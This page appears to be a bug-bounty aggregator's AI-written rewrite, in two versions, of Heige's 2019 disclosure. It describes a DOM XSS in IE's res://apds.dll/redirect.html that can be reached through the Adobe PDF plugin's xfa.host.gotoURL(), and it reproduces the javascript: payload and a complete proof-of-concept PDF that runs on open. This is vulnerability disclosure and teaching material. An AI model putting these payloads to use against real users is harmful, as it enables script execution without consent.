Skip to content
XSS Write-up Advanced

Self XSS using IE adobes

A DOM-based cross-site scripting flaw existed in the redirect page of a Windows resource DLL, and Adobe's PDF ActiveX plugin for Internet Explorer allowed a PDF to navigate to that resource URL without a security prompt, so JavaScript in the PDF could run script in the resource domain. The impact was limited by Internet Explorer's security zone isolation.

Heige Follow

Published on medium.com

#### heige

heige, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

This write-up, by Heige (a.k.a. Superhei) of KnownSec 404 Team and dated 19 March 2019, describes a chain that turns a DOM XSS in an Internet Explorer res:// resource into something reachable from an ordinary http:// page, by abusing the Adobe PDF ActiveX plugin for IE. The two components are:

  • res://apds.dll/redirect.html, a resource shipped with Windows/IE that reads a target parameter from the query string and redirects to it.
  • The JavaScript bridge inside Adobe PDF documents, specifically xfa.host.gotoURL(), which can navigate to URLs of several schemes, including http(s)://, file:// and res://.

Normally an http:// origin cannot load res:// resources. The point of the chain is that the PDF plugin performs the navigation on the document's behalf, and in that path no security prompt is shown.

Setup

The report does not describe a lab setup, tool versions or account requirements. The preconditions implied by the chain are:

  1. Internet Explorer with Adobe's PDF ActiveX plugin installed, so that a PDF can be rendered inside the browser.
  2. A PDF hosted on an http:// (or https://) origin the victim visits, containing an XFA form with a JavaScript OpenAction.
  3. The res://apds.dll/redirect.html resource present and still vulnerable, which the author states was the case at the time of writing.

Finding it

The starting point is a previously reported DOM XSS in res://apds.dll/redirect.html, referenced in Project Zero issue 1598. The author notes that the issue had not been fixed at the time of writing. The vulnerable page takes the target query parameter and passes it to window.location.replace after decodeURIComponent, with no scheme or origin check:

HTML
<!DOCTYPE html>
<html xmlns=”[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)" >
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8"/>
 <script type=”text/javascript”>
 var targetParamRegex = /[\?\&]target=([^\&\#]+)/i;
 var targetResults = targetParamRegex.exec(window.location.search);
 if (targetResults) {
 window.location.replace(decodeURIComponent(targetResults[1]));
 }
 </script>
</head>
<body>
</body>
</html>

The regular expression extracts everything after target= up to the next & or #, and the result is URL-decoded and used as a navigation target. Because javascript: is accepted by location.replace, the page is a straightforward DOM XSS on its own:

Text
res://apds.dll/redirect.html?target=javascript:alert(1)

The remaining problem is reachability: an attacker cannot simply link a victim to a res:// URL from a web page, because IE does not allow an http:// origin to access res:// resources.

Exploitation

Step 1: Find a navigation primitive that crosses the scheme boundary

The author observed that the JavaScript function xfa.host.gotoURL() inside an Adobe PDF can access multiple URL schemes, including http(s):// and file://. In normal use, opening a PDF that triggers such navigation produces a security prompt. The key observation is that when the navigation is performed through IE's Adobe PDF ActiveX plugin, and the target is res:// or http(s)://, no security alert appears.

Step 2: Call the vulnerable redirect from the PDF

The payload passed to xfa.host.gotoURL() points at the vulnerable resource and carries the javascript: URL in target. The trailing ;// is part of the payload as published:

JavaScript
xfa.host.gotoURL("res://apds.dll/redirect.html?target=javascript:alert(1);//");

With no prompt in the way, the redirect page runs, extracts target, and navigates to javascript:alert(1), so the script executes.

Step 3: Deliver it as a PDF

The author published a PDF (referred to as r.pdf) and its content. The XFA packet defines a minimal template, and the OpenAction runs the JavaScript as soon as the document is opened:

Text
%PDF-1.4
1 0 obj
<<>>
%endobj

2 0 obj <<>>
stream
<xdp:xdp xmlns:xdp=”[http://ns.adobe.com/xdp/](http://ns.adobe.com/xdp/)">
<config><present><pdf>
 <interactive>1</interactive>
</pdf></present></config>

<template>
 <subform name=”a”>
 <pageSet/>
 </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer
<<
/Root
 <<
 /Pages <<>>
 /AcroForm
 <<
 /XFA 2 0 R
 >>
 /OpenAction
 <<
 /S/JavaScript
 /JS(
 xfa.host.gotoURL(“res://apds.dll/redirect.html?target=javascript:alert(1);//”);
 )
 >>
 >>
>>

The important parts are the /AcroForm dictionary pointing at the XFA stream (/XFA 2 0 R), which makes the document an XFA form, and the /OpenAction dictionary with /S/JavaScript, which registers the script to run on open. The script is the gotoURL call from step 2. A demo was published as a tweet.

Root cause

The DOM XSS itself is a missing validation problem in redirect.html: the target parameter is taken from window.location.search, decoded, and handed to window.location.replace without restricting the scheme. Any javascript: URL therefore executes in the context of the res:// resource.

The reason the XSS matters beyond its own origin is the second half of the chain. IE isolates res:// from http:// origins, so a web page cannot navigate there directly. The Adobe PDF ActiveX plugin, however, performs navigation on behalf of the PDF content and is not subject to that restriction for res:// and http(s):// targets, and in that path it shows no security prompt. The report does not explain why the prompt is skipped; it only states the observed behaviour.

Impact

The author is explicit that the harm is limited: "Due to some security domain isolation of IE, the harm of res:// domain xss is limited." The script runs in the res:// origin, not in the origin of the page that served the PDF, so the attacker does not automatically obtain the hosting site's cookies or DOM. The practical effect is script execution in the res:// context, reached from an http:// page without any prompt, provided the victim uses IE with the Adobe PDF ActiveX plugin and opens the crafted PDF. The report does not enumerate further capabilities from that position.

Fix

The author's position at the time of disclosure was that Microsoft should actively fix the res://apds.dll/redirect.html XSS, and that Adobe should disable URL redirection through xfa.host.gotoURL() or show an appropriate security warning when it is used. The timeline records that MSRC closed its case on 21 November 2018, determining it did not meet the bar for immediate servicing in a security update, and that the issue was made public on 19 March 2019. A later note added to the write-up states that Adobe fixed it on 15 October 2019 in APSB19-49, CVE-2019-8160.

Variants to test

  1. Other res:// pages that reflect or redirect. Look for resources that take a URL from the query string or fragment and navigate to it. A positive result is a res:// URL that, when opened, executes a javascript: payload.
  2. Other PDF JavaScript navigation APIs. The report names xfa.host.gotoURL(); other document-level navigation calls in the PDF JavaScript model are worth checking for the same absence of a prompt when targeting res:// or http(s):// through the IE plugin. A positive result is a navigation to a restricted scheme with no security dialog.
  3. Other plugin-mediated scheme crossings. Any browser plugin that renders active content and performs navigation on its behalf is a candidate for reaching schemes the page origin cannot. A positive result is a page on http:// causing a navigation to res://, file:// or similar without a prompt.
  4. Scheme handling in redirectors generally. Wherever a parameter is passed to location.replace or location.href, test javascript:, data: and vbscript: values. A positive result is script execution in the redirector's origin.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher called Heige (also known as Superhei, from the KnownSec 404 Team) published this write-up on 19 March 2019. It describes how to make a script run inside a special, normally off-limits part of Windows and Internet Explorer, starting from an ordinary web page.

Two pieces are combined:

  1. A small page that ships with Windows and is opened through a special address scheme called res://. This page, res://apds.dll/redirect.html, reads a value from its address and then sends the browser to that value. It does not check what kind of value it is given, so it can be told to run JavaScript.
  2. The JavaScript support built into Adobe PDF documents. A PDF can contain a small program, and one of the things that program can do is ask the browser to go to a web address, using a function called xfa.host.gotoURL().

On their own, neither piece is enough. A normal web page is not allowed to open a res:// address, because Internet Explorer keeps those two worlds apart. The trick is that the Adobe PDF plugin for Internet Explorer does the navigation on the PDF's behalf, and in that route no security warning appears. So a victim who opens a booby-trapped PDF in Internet Explorer ends up running the attacker's JavaScript inside the res:// world.

A few terms used above, explained from zero:

  • Scheme (or protocol): the first part of an address, before ://. It tells the computer what kind of thing the address points to. http:// means a web page fetched over the network, https:// is the same but encrypted, file:// means a file on the local disk, and res:// means a resource built into Windows or Internet Explorer. Think of it like the difference between a postal address, a phone number and an internal extension: same idea of "where to go", very different rules for getting there.
  • DOM XSS: XSS stands for cross-site scripting, which means getting your own JavaScript to run in a place where it should not. DOM stands for Document Object Model, the browser's in-memory model of the page. A DOM XSS happens when the page's own JavaScript takes something from the address (or another input) and uses it in a dangerous way, without checking it. The malicious script is not stored on the server; it travels in the address itself.
  • ActiveX plugin: an old mechanism that let Internet Explorer load extra software components, in this case Adobe's PDF viewer, so a PDF could be displayed inside the browser window instead of in a separate program.
  • XFA: a way of describing an interactive PDF form (fields, layout, behaviour) in XML, a text format built from tags. Adobe's PDF software can run JavaScript attached to such a form.
  • OpenAction: an instruction inside a PDF that says "do this as soon as the document is opened". It is how the JavaScript gets triggered without the victim clicking anything.

The starting point: a redirect page that trusts its input

The story begins with a vulnerability that had already been reported elsewhere, in Project Zero issue 1598: a DOM XSS in res://apds.dll/redirect.html. The author notes that it had still not been fixed at the time of writing.

The page is short. Here is its code as published:

HTML
<!DOCTYPE html>
<html xmlns=”[http://www.w3.org/1999/xhtml](http://www.w3.org/1999/xhtml)" >
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8"/>
 <script type=”text/javascript”>
 var targetParamRegex = /[\?\&]target=([^\&\#]+)/i;
 var targetResults = targetParamRegex.exec(window.location.search);
 if (targetResults) {
 window.location.replace(decodeURIComponent(targetResults[1]));
 }
 </script>
</head>
<body>
</body>
</html>

Line by line, in plain words:

  • <!DOCTYPE html> tells the browser this is an HTML page.
  • The <html ...> and <head> tags open the document and its header section. The xmlns attribute is a namespace declaration; it does not affect the behaviour described here.
  • The <meta ...> line declares the character encoding, so text is interpreted correctly.
  • <script type="text/javascript"> starts a block of JavaScript, the programming language browsers run.
  • var targetParamRegex = /[\?\&]target=([^\&\#]+)/i; defines a pattern (a regular expression) used to search text. In everyday terms, it is a stencil: it looks for a ? or & followed by target=, then captures everything after that up to the next & or #. The i at the end means the match ignores upper and lower case.
  • var targetResults = targetParamRegex.exec(window.location.search); runs that stencil against window.location.search, which is the part of the address starting with ?. So if the address is ...redirect.html?target=something, the search part is ?target=something.
  • if (targetResults) { checks whether the stencil found anything. If it did not, nothing happens.
  • window.location.replace(decodeURIComponent(targetResults[1])); is the dangerous line. targetResults[1] is the captured text after target=. decodeURIComponent turns encoded characters back into normal ones (for example %20 becomes a space), so the value is fully decoded. window.location.replace(...) then sends the browser to that value, replacing the current page in the history.
  • The closing tags end the script, header and document. The <body> is empty: the page has no visible content, it only redirects.

The problem is that window.location.replace accepts not only web addresses but also javascript: addresses, which mean "run this JavaScript". Nothing in the page checks which kind of address it has been handed. So the page is a DOM XSS all by itself. The proof of concept is:

Text
res://apds.dll/redirect.html?target=javascript:alert(1)

Read it as: open the built-in redirect page, give it target=javascript:alert(1), and it will decode that value and navigate to it, which runs alert(1), a pop-up box showing the number 1. In a real attack the pop-up would be replaced by code that does something harmful.

Why was this step taken? Because it gives the attacker a place where their JavaScript will run, inside the res:// world. The remaining problem is delivery: an attacker cannot simply send a victim a link to a res:// address from a web page, because Internet Explorer does not let an http:// page reach res:// resources. That is the gap the rest of the chain fills.

Crossing from http:// to res://

The author noticed that the JavaScript function xfa.host.gotoURL() inside an Adobe PDF can open addresses of several schemes, including http(s):// and file://. In ordinary use, when a PDF tries to navigate like this, the user sees a security prompt, a dialog asking whether to allow it. That prompt is the safety net.

The key observation is that when the navigation happens through Internet Explorer's Adobe PDF ActiveX plugin, and the destination is res:// or http(s)://, no security alert appears at all. The safety net is missing on that particular path.

So the payload handed to xfa.host.gotoURL() points at the vulnerable redirect page and carries the javascript: address in its target parameter:

JavaScript
xfa.host.gotoURL("res://apds.dll/redirect.html?target=javascript:alert(1);//");

In plain words: "browser, please go to the built-in redirect page, and tell it that its target is javascript:alert(1)". The trailing ;// is part of the payload exactly as published.

With no prompt in the way, the redirect page loads, extracts target, and navigates to javascript:alert(1). The script runs. Why this step? Because it is the bridge: the PDF plugin is allowed to do something the web page itself is not, and it does so silently.

Delivering it as a PDF

The author published a PDF (called r.pdf) and its content. The victim only has to open that PDF in Internet Explorer with the Adobe plugin installed. The file looks like this:

Text
%PDF-1.4
1 0 obj
<<>>
%endobj

2 0 obj <<>>
stream
<xdp:xdp xmlns:xdp=”[http://ns.adobe.com/xdp/](http://ns.adobe.com/xdp/)">
<config><present><pdf>
 <interactive>1</interactive>
</pdf></present></config>

<template>
 <subform name=”a”>
 <pageSet/>
 </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer
<<
/Root
 <<
 /Pages <<>>
 /AcroForm
 <<
 /XFA 2 0 R
 >>
 /OpenAction
 <<
 /S/JavaScript
 /JS(
 xfa.host.gotoURL(“res://apds.dll/redirect.html?target=javascript:alert(1);//”);
 )
 >>
 >>
>>

This is a PDF file, which is a structured document format made of numbered objects. Line by line:

  • %PDF-1.4 is the file signature: it tells software "this is a PDF, version 1.4".
  • 1 0 obj starts the first object, and <<>> is an empty dictionary (a set of key/value pairs with nothing in it). The %endobj line is a comment marker in front of the end of the object; the % makes the rest of the line a comment.
  • 2 0 obj <<>> starts the second object, again with an empty dictionary, followed by stream, which begins a block of raw data.
  • <xdp:xdp ...> opens an XML document in the XDP format, which is how Adobe packages XFA form data. The xmlns attribute names the XML namespace for the tags.
  • <config><present><pdf> and <interactive>1</interactive> are configuration tags; interactive set to 1 marks the document as interactive.
  • <template> with a <subform name="a"> and an empty <pageSet/> is a minimal form template: it defines a form with one subform and no pages of content. It exists so the document is a valid XFA form.
  • </xdp:xdp> closes the XML, endstream ends the raw data block, and endobj ends the second object.
  • trailer begins the part of the PDF that says where the document starts and what its main settings are.
  • /Root points to the document catalogue, the top-level description of the file. Inside it, /Pages <<>> says there are no pages, and /AcroForm << /XFA 2 0 R >> declares an interactive form whose XFA data is object number 2 (the stream above). This is what makes the file an XFA form rather than a plain document.
  • /OpenAction << /S/JavaScript /JS( ... ) >> is the trigger. /S/JavaScript says the action is JavaScript, and /JS(...) holds the script itself, which is the gotoURL call from the previous step. Because it is an OpenAction, it runs as soon as the document is opened, with no click needed.

Why build the file this way? Because the goal is to get the gotoURL call to run automatically inside the browser's PDF plugin, from a file the victim can simply open from an ordinary web address. The XFA form and the OpenAction are the mechanism that makes the script fire on open.

A demonstration was also published as a tweet.

Why it works

There are two causes, one for each half of the chain.

The DOM XSS is a missing check in redirect.html: the target value is read from the address, decoded, and passed straight to window.location.replace without restricting which scheme it may use. Any javascript: address therefore runs in the context of the res:// resource.

The reason this matters beyond that one resource is the second half. Internet Explorer isolates res:// from http:// origins, so a web page cannot navigate there directly. The Adobe PDF ActiveX plugin, however, performs the navigation on behalf of the PDF content, is not subject to that restriction for res:// and http(s):// targets, and shows no security prompt on that path. The report does not explain why the prompt is skipped; it only records the observed behaviour.

How bad is it

The author is explicit that the harm is limited: "Due to some security domain isolation of IE, the harm of res:// domain xss is limited." The author notes that IE's security domain isolation limits the harm of the res:// domain XSS. A cookie is a small piece of data a site stores in the browser to remember who you are; because the script is not running as that site, it cannot read them. The practical effect is script execution in the res:// context, reached from an http:// page with no prompt, provided the victim uses Internet Explorer with the Adobe PDF ActiveX plugin and opens the crafted PDF. The report does not list further things an attacker could do from that position.

The fix

At the time of disclosure, the author's position was that Microsoft should actively fix the res://apds.dll/redirect.html XSS, and that Adobe should either disable URL redirection through xfa.host.gotoURL() or show an appropriate security warning when it is used.

The timeline in the report:

Date Event
4 October 2018 Reported to Adobe PSIRT and MSRC
5 October 2018 Adobe tracking number PSIRT-8981
9 October 2018 MSRC case 47932 CRM:0461065793
18 October 2018 Adobe PSIRT still investigating
21 November 2018 MSRC completed its investigation and determined the case did not meet the bar for immediate servicing in a security update
19 March 2019 Made public
15 October 2019 Adobe fixed it in APSB19-49 (CVE-2019-8160)

PSIRT and MSRC are the security response teams at Adobe and Microsoft respectively; a CVE is a public identifier given to a known vulnerability so people can refer to it unambiguously.

Things worth testing elsewhere

  1. Other res:// pages that redirect or reflect input. Look for built-in resources that take an address from the query string or the fragment (the part after #) and navigate to it. A positive result is a res:// address that, when opened, runs a javascript: payload.
  2. Other PDF JavaScript navigation functions. The report names xfa.host.gotoURL(); other navigation calls in the PDF JavaScript model are worth checking for the same missing prompt when targeting res:// or http(s):// through the Internet Explorer plugin. A positive result is a navigation to a restricted scheme with no security dialog.
  3. Other plugin-mediated scheme crossings. Any browser plugin that displays active content and navigates on its behalf is a candidate for reaching schemes the page origin cannot. A positive result is a page on http:// causing a navigation to res://, file:// or similar without a prompt.
  4. Scheme handling in redirectors generally. Wherever a parameter is passed to location.replace or location.href, test javascript:, data: and vbscript: values. A positive result is script execution in the redirector's origin.

Glossary

  • ActiveX plugin: an old Internet Explorer mechanism for loading extra software components, here Adobe's PDF viewer, so PDFs can be shown inside the browser.
  • Cookie: a small piece of data a website stores in the browser to recognise a visitor later.
  • CVE: a public identifier assigned to a known vulnerability.
  • DOM (Document Object Model): the browser's in-memory model of a page, which JavaScript can read and change.
  • DOM XSS: a cross-site scripting flaw where the page's own JavaScript takes input (often from the address) and uses it unsafely, so an attacker's script runs.
  • decodeURIComponent: a JavaScript function that turns percent-encoded characters in a string back into normal characters.
  • Dictionary (PDF): a set of key/value pairs inside a PDF object, written between << and >>.
  • file://: an address scheme meaning a file on the local disk.
  • http:// / https://: address schemes for web pages fetched over the network; https is the encrypted version.
  • javascript:: an address scheme that means "run the JavaScript that follows".
  • MSRC: Microsoft Security Response Center, Microsoft's security response team.
  • OpenAction: a PDF instruction that runs automatically when the document is opened.
  • PDF: a structured document format made of numbered objects, used for documents that look the same everywhere.
  • Project Zero: Google's security research team, which publishes vulnerability reports.
  • PSIRT: Product Security Incident Response Team, Adobe's security response team.
  • Regular expression: a pattern used to search text, like a stencil for matching strings.
  • res://: an address scheme for resources built into Windows and Internet Explorer.
  • Scheme (protocol): the first part of an address before ://, saying what kind of thing it points to.
  • Security prompt: a dialog asking the user whether to allow a potentially risky action.
  • stream: a block of raw data inside a PDF object.
  • trailer: the part of a PDF that says where the document starts and what its main settings are.
  • window.location.replace: a JavaScript call that sends the browser to a new address, replacing the current page in history.
  • window.location.search: the part of the current address starting with ?, holding the query string.
  • XDP / XFA: Adobe formats for describing interactive PDF forms in XML; XDP is the packaging, XFA the form definition.
  • XML: a text format built from tags, used to structure data.
  • XSS (cross-site scripting): getting your own JavaScript to run in a place where it should not.

More from Microsoft

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.